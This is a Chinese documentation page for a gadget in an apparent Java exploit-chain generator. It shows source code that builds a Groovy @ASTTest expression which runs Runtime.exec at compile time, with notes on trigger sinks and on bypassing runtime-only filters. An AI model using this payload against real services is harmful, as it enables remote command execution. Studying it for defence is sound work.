Skip to content

Latest commit

 

History

History
58 lines (47 loc) · 3.96 KB

File metadata and controls

58 lines (47 loc) · 3.96 KB

Groovy表达式字符串1(GroovyExec1Convert)

  • 类别:common 别名:— 优先级:—
  • 作者:—
  • 依赖groovy:groovy.lang.GroovyShell

作用

生成一段可被 Groovy 编译/解析触发的恶意表达式字符串:利用 @groovy.transform.ASTTest 注解在 AST 编译阶段执行 Runtime.getRuntime().exec(cmd),实现最朴素的 Groovy 命令执行。它本身不返回对象,而是返回一个 String 表达式,供上游的 Groovy 求值型 sink(GroovyShell.evaluate/GroovyClassLoader.parseClass 等)消费。

链接标签

  • 入口 tagsGroovy_ExprExpressionEND —— Groovy_Expr 表示它产出 Groovy 表达式文本;Expression 归入通用「表达式字符串」族;END 表示它是链的末端产物(自身不再向内包装其它 gadget,invoke 直接返回字符串)。
  • 衔接 nextTags:(空)—— 作为末端,不再向下衔接。
  • excludes:(空)。

源码剖析

@GadgetTags(tags={"Groovy_Expr", "Expression", "END"})
@GadgetAnnotation(name="Groovy表达式字符串1", description="简单的Runtime命令执行",
                  dependencies={"groovy:groovy.lang.GroovyShell"})
public class GroovyExec1Convert implements Gadget {
    @Param(name="命令", description="eg: cmd /c calc")
    public String cmd = "cmd /c calc";
    public static String templte =
        "@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec(\"%s\")})def x";

    private String getObject() {
        return String.format(templte, this.cmd);
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        return this.getObject();
    }
}

逐段说明:

  • templte 是核心模板。@groovy.transform.ASTTest 是 Groovy 提供的编译期测试注解,其 value 闭包会在编译 / AST 变换阶段(而非运行阶段)被执行。这意味着只要目标把该字符串交给 Groovy 编译器(GroovyShell.parse/evaluateGroovyClassLoader.parseClass),无需真正「运行」脚本即可触发闭包中的 Runtime.getRuntime().exec(...)
  • String.format(templte, this.cmd) 把用户命令直接内插进 exec("...") 的双引号里——这里是纯字符串拼接,命令中若含 " 或反斜杠会破坏语法,因此适合简单命令(如 cmd /c calc/bin/sh -c id 需注意转义)。
  • invoke 不调用 chain.doCreate,直接返回字符串,印证 END 标签:它是链的最内层字节流/文本产物。

触发条件:目标环境类路径存在 groovy,且存在一处会编译/解析该表达式的入口(典型如 GroovyShell、SnakeYAML→Groovy、或 Groovy 相关的 JDBC/表达式注入点)。

参数(@Param)

字段 名称 说明 默认 可选值
cmd 命令 交给 Runtime.exec 的命令,单条字符串形式 cmd /c calc 任意(eg: cmd /c calc

适用版本与原理要点

  • 依赖 groovy(示例声明 groovy.lang.GroovyShell),对具体小版本不敏感——ASTTest 注解自 Groovy 2.x 起长期存在。
  • 关键点在于 AST 编译期执行:区别于 execute()(运行期),本 gadget 只要触发「编译/解析」即可 RCE,绕过某些只拦截脚本运行的场景。
  • 命令通过 %s 直接拼入双引号字符串,复杂命令需自行处理转义。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可作为 Groovy 表达式求值链的末端载荷手工组合。

关联

  • 同族(同为 Groovy 表达式末端载荷):GroovyExec2Convert(走运行期 execute())、H2GroovyExecJdbc(同款 ASTTest 模板,经 H2 JDBC URL 触发)。
  • 上游消费者:任意接收 Groovy_Expr/Expression 文本并交给 Groovy 编译器的 sink(如 GroovyShellRefSnakeyamlRef 等 JNDI/表达式入口)。